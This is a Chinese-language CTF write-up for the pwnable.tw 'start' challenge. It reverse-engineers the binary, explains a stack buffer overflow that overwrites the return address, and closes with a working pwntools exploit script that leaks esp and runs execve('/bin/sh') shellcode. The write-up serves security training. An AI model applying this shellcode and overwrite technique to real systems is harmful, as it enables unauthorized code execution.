pwn题研究之pwnable.tw – 作者:ellenZ

作者:SnowMzn

pwn

  • pwbable.tw第一题

一、 逆向分析

  • 首先将start放入IDA pro,可以看到程序很小,逻辑也非常简单。

  • start_1.png

  • 程序开始,在栈中保存esp的值和exit()函数的起始地址,然后将eax、ebx、ecx、edx置零。

  • 随后,向栈中压入一个字符串,“Let’s start the CTF:”,位置则在exit()函数起始地址之上。

  • start_2.png

    • 接着程序用int 0x80来进行输入和输出。

    • 先将ecx指向字符串缓冲区,调用int 0x80的4号功能,将字符串输出,然后调用3号功能,接收一个字符串。

    • 最后执行ret,程序跳转到exit()函数,结束。

二、 漏洞分析

  • int 0x80是linux上的系统调用。

  • 在int 0x80中,eax存放系统调用号,其余的几个寄存器存放参数。

  • 在本程序中,ecx指向缓冲区,edx为缓冲区大小,ebx为fd。

  • 程序首先将当前esp的值传给ecx,然后输出此缓冲区内的字符串。

  • start_3.png

  • 之后,程序在执行输入的时候,并没有更改ecx的值,所以我们输入的字符串会直接覆盖栈中的数据。

  • start_4.png

  • 如果我们输入的字符串超过20个字节,将会覆盖exit()的起始地址,那么程序在执行到ret的时候,就可以跳到我们构造的任意位置。

三、 漏洞利用

  • 漏洞利用,需要shellcode和shellcode所在的位置。

  • 这里可以使用执行execve(“/bin/sh”)命令的语句作为shellcode。

  • shellcode可以通过输入放在栈中,那么我们就需要栈的地址。

  • 首先需要构造一个payload用来泄漏esp的地址

  • 怎么泄漏esp地址呢?在程序执行完ret后,要将程序劫持到0x08048087上,执行mov ecx,esp,然后通过输出,泄漏esp的地址。

  • 然后再构造一个payload用来执行shellcode,让程序在第二次执行ret后,跳转到我们的shellcode中。

四、 Exploite

  • 最后附上简单的exp一个

from pwn import *

p = process('./start')
# p = remote('chall.pwnable.tw', 10000)

# execve("/bin/sh")
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

addr = 0x08048087

payload1 = 'A'*20 + p32(addr)
p.send(payload1)
p.recvuntil("Let's start the CTF:")
esp = u32(p.recv(4))

offset = 20

payload2 = 'A' * 20 + p32(esp + offset) + shellcode
p.send(payload2)

p.interactive()
p.close()

来源:freebuf.com 2018-01-04 16:31:05 by: ellenZ

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论